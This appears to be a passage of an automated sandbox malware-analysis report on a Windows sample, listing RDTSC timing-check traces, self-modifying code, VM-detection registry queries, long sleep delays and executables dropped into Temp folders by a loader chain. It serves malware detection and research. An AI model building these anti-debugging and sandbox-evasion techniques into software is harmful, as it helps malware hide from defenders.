Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0421 second address: 49C0425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0425 second address: 49C042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C042B second address: 49C043F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov ecx, 246A5D5Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d movzx eax, al 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C043F second address: 49C045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, 73h 0x00000006 popad 0x00000007 mov si, di 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B55D157CEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C045B second address: 49C0461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8856CB second address: 8856CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496043A second address: 4960440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960440 second address: 4960444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960444 second address: 4960477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F6B550CB10Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6B550CB10Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960477 second address: 49604E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6B55D157D6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov ebx, esi 0x00000014 pushfd 0x00000015 jmp 00007F6B55D157CAh 0x0000001a jmp 00007F6B55D157D5h 0x0000001f popfd 0x00000020 popad 0x00000021 push FFFFFFFEh 0x00000023 jmp 00007F6B55D157CEh 0x00000028 push 0CDC32FDh 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F6B55D157CCh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49604E7 second address: 49604F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B550CB10Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49604F9 second address: 496053C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 6A948D1Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6B55D157D8h 0x00000018 or eax, 5F4FA378h 0x0000001e jmp 00007F6B55D157CBh 0x00000023 popfd 0x00000024 mov esi, 534F8AAFh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496053C second address: 49605CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6B550CB10Bh 0x00000008 pop esi 0x00000009 movsx edi, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f call 00007F6B550CB109h 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F6B550CB10Eh 0x0000001b xor ch, 00000008h 0x0000001e jmp 00007F6B550CB10Bh 0x00000023 popfd 0x00000024 mov ch, 37h 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 pushad 0x0000002a call 00007F6B550CB10Eh 0x0000002f pop ecx 0x00000030 pushfd 0x00000031 jmp 00007F6B550CB10Bh 0x00000036 xor ecx, 5E0945FEh 0x0000003c jmp 00007F6B550CB119h 0x00000041 popfd 0x00000042 popad 0x00000043 push esi 0x00000044 mov ecx, edx 0x00000046 pop ebx 0x00000047 popad 0x00000048 mov eax, dword ptr [esp+04h] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f mov ecx, 4444E5D1h 0x00000054 pushad 0x00000055 popad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49605CF second address: 49605EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49605EB second address: 4960691 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F6B550CB119h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push edi 0x00000018 pushfd 0x00000019 jmp 00007F6B550CB10Ah 0x0000001e sbb al, FFFFFFE8h 0x00000021 jmp 00007F6B550CB10Bh 0x00000026 popfd 0x00000027 pop eax 0x00000028 popad 0x00000029 pop eax 0x0000002a pushad 0x0000002b jmp 00007F6B550CB110h 0x00000030 pushfd 0x00000031 jmp 00007F6B550CB112h 0x00000036 add ah, 00000078h 0x00000039 jmp 00007F6B550CB10Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov eax, dword ptr fs:[00000000h] 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push ebx 0x0000004a pop ecx 0x0000004b jmp 00007F6B550CB117h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960691 second address: 496075F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F6B55D157CEh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6B55D157D1h 0x00000017 sub esi, 784061D6h 0x0000001d jmp 00007F6B55D157D1h 0x00000022 popfd 0x00000023 mov cx, B947h 0x00000027 popad 0x00000028 nop 0x00000029 pushad 0x0000002a mov ch, 8Ah 0x0000002c popad 0x0000002d sub esp, 1Ch 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F6B55D157CCh 0x00000037 adc cx, 9728h 0x0000003c jmp 00007F6B55D157CBh 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F6B55D157D8h 0x00000048 adc si, C988h 0x0000004d jmp 00007F6B55D157CBh 0x00000052 popfd 0x00000053 popad 0x00000054 xchg eax, ebx 0x00000055 pushad 0x00000056 mov dx, cx 0x00000059 mov esi, 56A5BDF7h 0x0000005e popad 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F6B55D157CFh 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496075F second address: 496077C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496077C second address: 49607C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F6B55D157CEh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 movzx eax, di 0x00000014 pushad 0x00000015 mov edi, 0A7CE4ECh 0x0000001a mov si, dx 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F6B55D157CEh 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49607C6 second address: 49607CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49607CA second address: 49607D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49607D0 second address: 4960802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B550CB117h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960802 second address: 4960836 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, F9h 0x00000005 movzx eax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6B55D157CFh 0x00000015 jmp 00007F6B55D157D3h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960836 second address: 49608B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007F6B550CB10Eh 0x0000000b adc eax, 17F41C88h 0x00000011 jmp 00007F6B550CB10Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b pushad 0x0000001c jmp 00007F6B550CB114h 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 mov eax, dword ptr [7772B370h] 0x0000002a jmp 00007F6B550CB10Dh 0x0000002f xor dword ptr [ebp-08h], eax 0x00000032 jmp 00007F6B550CB10Eh 0x00000037 xor eax, ebp 0x00000039 jmp 00007F6B550CB111h 0x0000003e nop 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov ax, dx 0x00000045 mov ecx, edi 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49608B9 second address: 49608D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49608D4 second address: 4960921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6B550CB114h 0x0000000e nop 0x0000000f pushad 0x00000010 mov ebx, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F6B550CB118h 0x0000001a or si, 3B98h 0x0000001f jmp 00007F6B550CB10Bh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960921 second address: 49609A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 lea eax, dword ptr [ebp-10h] 0x00000008 jmp 00007F6B55D157D5h 0x0000000d mov dword ptr fs:[00000000h], eax 0x00000013 jmp 00007F6B55D157CEh 0x00000018 mov esi, dword ptr [ebp+08h] 0x0000001b pushad 0x0000001c mov cx, 697Dh 0x00000020 mov di, si 0x00000023 popad 0x00000024 mov eax, dword ptr [esi+10h] 0x00000027 pushad 0x00000028 call 00007F6B55D157D2h 0x0000002d pop edx 0x0000002e call 00007F6B55D157CEh 0x00000033 mov ecx, 43169091h 0x00000038 pop esi 0x00000039 popad 0x0000003a test eax, eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F6B55D157D8h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49609A6 second address: 49609ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F6B550CB117h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F6BC7D9A464h 0x00000014 pushad 0x00000015 mov edx, 6A37EF78h 0x0000001a popad 0x0000001b sub eax, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F6B550CB116h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49609ED second address: 4960A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-20h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B55D157D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960A16 second address: 4960A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [esi] 0x0000000b pushad 0x0000000c mov dx, ax 0x0000000f pushfd 0x00000010 jmp 00007F6B550CB118h 0x00000015 adc si, 0DC8h 0x0000001a jmp 00007F6B550CB10Bh 0x0000001f popfd 0x00000020 popad 0x00000021 mov dword ptr [ebp-24h], ebx 0x00000024 pushad 0x00000025 mov ecx, 38A9085Bh 0x0000002a mov edx, esi 0x0000002c popad 0x0000002d test ebx, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F6B550CB114h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960A82 second address: 4960A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960A86 second address: 4960A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960031 second address: 496003A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 60E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496003A second address: 4960079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F6B550CB116h 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F6B550CB110h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6B550CB10Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960079 second address: 496007F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6DEB15 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6DEBB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 878F4F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 89F632 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8783F7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8FC4D0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E5EB15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E5EBB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FF8F4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 101F632 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FF83F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 107C4D0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Special instruction interceptor: First address: 12CD8A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Special instruction interceptor: First address: 12CD991 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Special instruction interceptor: First address: 146FAFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Special instruction interceptor: First address: 146F74E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Special instruction interceptor: First address: 149D7BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Special instruction interceptor: First address: 14FCE4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Special instruction interceptor: First address: 647AB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Special instruction interceptor: First address: 7E4879 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Special instruction interceptor: First address: 7E446D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Special instruction interceptor: First address: 80BF41 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Special instruction interceptor: First address: 647A00 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Special instruction interceptor: First address: 7F6AFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Special instruction interceptor: First address: 873F29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Special instruction interceptor: First address: 27FD20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Special instruction interceptor: First address: 4ADDD5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Special instruction interceptor: First address: 7AD9A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Special instruction interceptor: First address: 7ADA52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Special instruction interceptor: First address: D6D9A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Special instruction interceptor: First address: D6DA52 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Memory allocated: 5190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Memory allocated: 53B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Memory allocated: 73B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Memory allocated: 5190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Memory allocated: 5350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Memory allocated: 7350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Memory allocated: 14C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Memory allocated: 2FB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Memory allocated: 4FB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Memory allocated: 5670000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Memory allocated: 5840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Memory allocated: 7840000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_049C0269 rdtsc

0_2_049C0269

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Code function: 7_3_010E882E str word ptr [eax+00000000h]

7_3_010E882E

Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1181	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1111	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1165	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1242	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window / User API: threadDelayed 737	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window / User API: threadDelayed 891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window / User API: threadDelayed 992	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window / User API: threadDelayed 1014	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window / User API: threadDelayed 1039	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window / User API: threadDelayed 809	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016943001\093ffd8e79.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016944001\45ee3ccff8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\x0qQ2DH[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016942001\dca2c3185c.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6944	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8176	Thread sleep count: 1281 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8176	Thread sleep time: -2563281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8156	Thread sleep count: 272 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8156	Thread sleep time: -8160000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep count: 1181 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep time: -2363181s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8172	Thread sleep count: 1111 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8172	Thread sleep time: -2223111s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep count: 1165 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep time: -2331165s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4028	Thread sleep count: 1242 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4028	Thread sleep time: -2485242s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe TID: 7812	Thread sleep time: -1474737s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe TID: 2104	Thread sleep time: -1782891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe TID: 2712	Thread sleep time: -1984992s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe TID: 2636	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe TID: 1852	Thread sleep time: -2029014s >= -30000s	Jump to behavior
